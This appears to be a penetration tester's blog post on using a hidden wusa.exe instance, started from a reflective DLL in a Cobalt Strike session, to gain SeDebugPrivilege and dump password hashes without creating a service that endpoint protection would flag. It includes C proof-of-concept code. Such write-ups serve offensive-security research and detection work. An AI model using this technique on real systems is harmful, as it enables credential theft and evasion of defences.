Dude, Where’s My Hashes

Hey all,

Forewarning, this is going to be a quick and dirty post.  I’ll publish code to github once there is something worthwhile to post, until then, you can find the code below.

So you’re admin, you’ve bypassed UAC, it’s time to run hashdump and/or mimikatz but nothing happens, what gives?

It could be a number of issues: bitness of the session, the inability to impersonate or become SYSTEM, and so on (see Rob’s post which discusses it further).  Usually my go to is to spawn a new SYSTEM session via psexec or getsystem, both of which will probably end up creating a new service (see Raphael’s post about getsystem).  So what’s the problem?  Well I’ve found that Endpoint Protection Platforms (EPP) have begun to either block or flag this activity as suspicious.

Enter Windows update standalone installer, or wusa.exe, which executes in an interesting manner.  When called from a low or medium integrity process it will spawn as a high integrity elevated process, perfect for bypassing UAC, a technique which can be seen in TokenMagic and TokenDuplication.  Additionally, it can be used to run SYSTEM tasks without spawning a service.  As a quick and dirty PoC I used a reflective DLL to spin up a hidden instance of wusa.exe which needs to be run from a low or medium integrity process.

#include "ReflectiveLoader.h"
bool QuietWusa()
{ 
   SHELLEXECUTEINFO eWusa;
   
   memset(&eWusa, 0, sizeof(SHELLEXECUTEINFO)); 
   eWusa.cbSize = sizeof(eWusa); 
   eWusa.fMask = 0x40; 
   eWusa.lpFile = L"wusa.exe"; 
   eWusa.nShow = 0x0;
   if (!ShellExecuteEx(&eWusa))
   { 
      return false; 
   } 
   return true;
}
extern "C" HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{ 
   BOOL bReturnValue = TRUE; 
   switch (dwReason) 
   { 
      case DLL_QUERY_HMODULE: 
         if (lpReserved != NULL) 
            *(HMODULE *)lpReserved = hAppInstance;
         break; 
      case DLL_PROCESS_ATTACH: 
         hAppInstance = hinstDLL; 
         QuietWusa(); 
         fflush(stdout); 
         ExitProcess(0); 
         break; 
      case DLL_PROCESS_DETACH: 
      case DLL_THREAD_ATTACH: 
      case DLL_THREAD_DETACH: 
         break; 
   }   
   return bReturnValue;
}

The process which calls the reflective DLL is cpl.exe (7048), a medium integrity Cobalt Strike session. Process iexplore.exe (6532) is the high integrity non-elevated Cobalt Strike session.  While finally, process wusa.exe (4584) is the high integrity elevated process which is our gateway to the goodies.

Notice the tokens available to wusa.exe while compared with cpl.exe or iexplore.exe, specifically SeDebugPrivilege, which is only present in wusa.exe.  I’m not aware of a way to add tokens to an existing process; however, tokens can either be enabled or disabled on the fly.  When using mimikatz, SeDebugPrivilege will be enabled to get at the goodies, a potential detection point.

At this point we have a process running with the privileges required to run hashdump and/or mimikatz.  From our high integrity session we can either inject into wusa.exe or use Cobalt Strike’s parent process id (ppid) to run child process commands under wusa.exe, as seen below.

And there you have it, a pretty crude workaround to get at the hashes without creating a service.  I’m sure there is an automated way to do all of this using one reflective DLL and an Aggressor script, but that’s a battle for another day.